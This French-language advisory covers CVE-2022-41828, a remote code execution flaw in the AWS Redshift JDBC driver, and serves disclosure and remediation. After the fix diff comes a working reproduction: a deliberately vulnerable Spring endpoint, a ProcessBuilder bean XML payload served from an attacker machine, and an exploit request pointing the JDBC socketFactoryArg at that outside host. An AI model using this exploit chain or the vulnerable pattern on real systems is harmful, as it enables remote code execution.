
[CVE-2022-41828] Exécution de code à distance (RCE) dans le pilote JDBC Amazon AWS Redshift
Le pilote JDBC Amazon pour Redshift est un pilote JDBC de type 4 qui assure la connectivité à la base de données via les interfaces de programmation d'applications (API) JDBC standard disponibles dans les éditions Java Platform, Enterprise. Le pilote donne accès à Redshift depuis toute application Java, tout serveur d'applications ou toute applet compatible Java.
Un problème potentiel d'exécution de commandes à distance existe dans les versions 2.1.0.7 et antérieures de redshift-jdbc42. Lorsque des plugins sont utilisés avec le pilote, celui-ci instancie les instances de plugins sur la base des noms de classes Java fournis via les propriétés de connexion sslhostnameverifier, socketFactory, et . Dans les versions affectées, le pilote ne vérifie pas si une classe de plugin implémente l'interface attendue avant l'instanciation. Cela peut conduire au chargement de classes Java arbitraires, qu'un attaquant averti contrôlant l'URL JDBC peut utiliser pour parvenir à une exécution de code à distance.
sslfactorysslpasswordcallbackCe problème est corrigé dans redshift-jdbc-42 version 2.1.0.8 et ultérieures.
AWS recommande aux clients utilisant des plugins de mettre à niveau vers redshift-jdbc42 version 2.1.0.8 ou ultérieure. Il n'existe aucune solution de contournement connue pour ce problème.
Afin de corriger ce problème, des modifications ont été apportées à 4 classes Java différentes dans le commit aws/amazon-redshift-jdbc-driver@9999659. Ces classes sont respectivement les suivantes.
@@ -38,7 +38,7 @@ public static SocketFactory getSocketFactory(Properties info) throws RedshiftExc
return SocketFactory.getDefault();
}
try {
//removed return (SocketFactory) ObjectFactory.instantiate(socketFactoryClassName, info, true, RedshiftProperty.SOCKET_FACTORY_ARG.get(info));
return ObjectFactory.instantiate(SocketFactory.class, socketFactoryClassName, info, true, RedshiftProperty.SOCKET_FACTORY_ARG.get(info)); //added
} catch (Exception e) {
throw new RedshiftException(
@@ -66,7 +66,7 @@ public static SSLSocketFactory getSslSocketFactory(Properties info) throws Redsh
if (classname.equals(RedshiftConnectionImpl.NON_VALIDATING_SSL_FACTORY))
classname = NonValidatingFactory.class.getName();
//removed return (SSLSocketFactory) ObjectFactory.instantiate(classname, info, true, RedshiftProperty.SSL_FACTORY_ARG.get(info));
return ObjectFactory.instantiate(SSLSocketFactory.class, classname, info, true, RedshiftProperty.SSL_FACTORY_ARG.get(info)); //added
} catch (Exception e) {
throw new RedshiftException(

@@ -61,7 +61,7 @@ private CallbackHandler getCallbackHandler(Properties info) throws RedshiftExcep
String sslpasswordcallback = RedshiftProperty.SSL_PASSWORD_CALLBACK.get(info);
if (sslpasswordcallback != null) {
try {
//removed cbh = (CallbackHandler) ObjectFactory.instantiate(sslpasswordcallback, info, false, null);
cbh = ObjectFactory.instantiate(CallbackHandler.class, sslpasswordcallback, info, false, null); //added
} catch (Exception e) {
throw new RedshiftException(
GT.tr("The password callback class provided {0} could not be instantiated.",

@@ -59,7 +59,7 @@ private static void verifyPeerName(RedshiftStream stream, Properties info, SSLSo
sslhostnameverifier = "RedshiftjdbcHostnameVerifier";
} else {
try {
//removed hvn = (HostnameVerifier) instantiate(sslhostnameverifier, info, false, null);
hvn = instantiate(HostnameVerifier.class, sslhostnameverifier, info, false, null); //added
} catch (Exception e) {
throw new RedshiftException(
GT.tr("The HostnameVerifier class provided {0} could not be instantiated.",

@@ -34,13 +34,13 @@ public class ObjectFactory {
* @throws IllegalAccessException if something goes wrong
* @throws InvocationTargetException if something goes wrong
*/
//removed public static Object instantiate(String classname, Properties info, boolean tryString,
public static <T> T instantiate(Class<T> expectedClass, String classname, Properties info, boolean tryString, //added
String stringarg) throws ClassNotFoundException, SecurityException, NoSuchMethodException,
IllegalArgumentException, InstantiationException, IllegalAccessException,
InvocationTargetException {
Object[] args = {info};
Constructor<?> ctor = null; //removed
Class<?> cls = Class.forName(classname); //removed
Constructor<? extends T> ctor = null; //added
Class<? extends T> cls = Class.forName(classname).asSubclass(expectedClass); //added
try {
ctor = cls.getConstructor(Properties.class);
} catch (NoSuchMethodException nsme) {

Pour reproduire CVE-2022-41828, une application Java vulnérable utilisant le framework Spring et intégrant le pilote vulnérable redshift-jdbc42 version 2.1.0.7 comme bibliothèque externe a été développée.
Les extraits de code suivants représentent le contenu du fichier pom.xml.
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.7.5</version>
<relativePath/> <!-- lookup parent from repository -->
</parent>
<groupId>com.example</groupId>
<artifactId>RedshiftJdbcRce</artifactId>
<version>0.0.1-SNAPSHOT</version>
<name>RedshiftJdbcRce</name>
<description>RedshiftJdbcRce</description>
<properties>
<java.version>1.8</java.version>
</properties>
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
</dependency>
<!-- https://mvnrepository.com/artifact/com.amazon.redshift/redshift-jdbc42 -->
<dependency>
<groupId>com.amazon.redshift</groupId>
<artifactId>redshift-jdbc42</artifactId>
<version>2.1.0.7</version>
</dependency>
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.9.4</version>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
</project>

Les extraits de code suivants représentent le contenu de la classe contrôleur src/main/java/com/example/redshiftjdbcrce/controller/RedshiftJdbcRCE.java.
package com.example.redshiftjdbcrce.controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.sql.DriverManager;
import java.sql.SQLException;
@RestController
public class RedshiftJdbcRCE {
@RequestMapping("/jdbcset")
public void jdbcSet(HttpServletRequest request, HttpServletResponse response) throws SQLException {
String jdbcurl = request.getParameter("jdbc");
DriverManager.getConnection(jdbcurl);
}
public static void main(String[] args) throws SQLException {
}
}

Le fichier suivant représente le contenu de la structure du document XML cmd.xml utilisée lors de l'exploitation.
<beans
xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<!--<value>touch</value>-->
<!--<value>/tmp/CVE-2022-41828</value>-->
<value>gnome-calculator</value>
</list>
</constructor-arg>
</bean>
</beans>
Avant de déclencher la vulnérabilité, le fichier cmd.xml concerné est servi via HTTP afin qu'il puisse être accessible par le serveur cible.
root@kali:~$ python3 -m http.server 2121
Pour déclencher/exploiter la vulnérabilité, une requête accompagnée de la charge utile est envoyée comme suit.
POST /jdbcset HTTP/1.1
Host: 127.0.0.1:8081
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 173
jdbc=jdbc:redshift://127.0.0.1:5439/testdb;socketFactory=org.springframework.context.support.FileSystemXmlApplicationContext;socketFactoryArg=http://172.22.0.43:2121/cmd.xml
HTTP/1.1 500
Content-Type: application/json
Date: Thu, 08 Dec 2022 13:58:14 GMT
Connection: close
Content-Length: 108
{
"timestamp": "2022-12-08T13:58:14.295+00:00",
"status": 500,
"error": "Internal Server Error",
"path": "/jdbcset"
}

Pour plus d'informations sur la remédiation de cette vulnérabilité, veuillez consulter les ressources suivantes :
Le pilote JDBC AWS Redshift ne valide pas le type de classe lors de l'instanciation d'objetsExécution de commandes à distance potentielle dans redshift-jdbc-42 <= 2.1.0.7aws/amazon-redshift-jdbc-driver@40b143baws/amazon-redshift-jdbc-driver@9999659CVE-2022-41828CVE-2022-41828CVE-2022-41828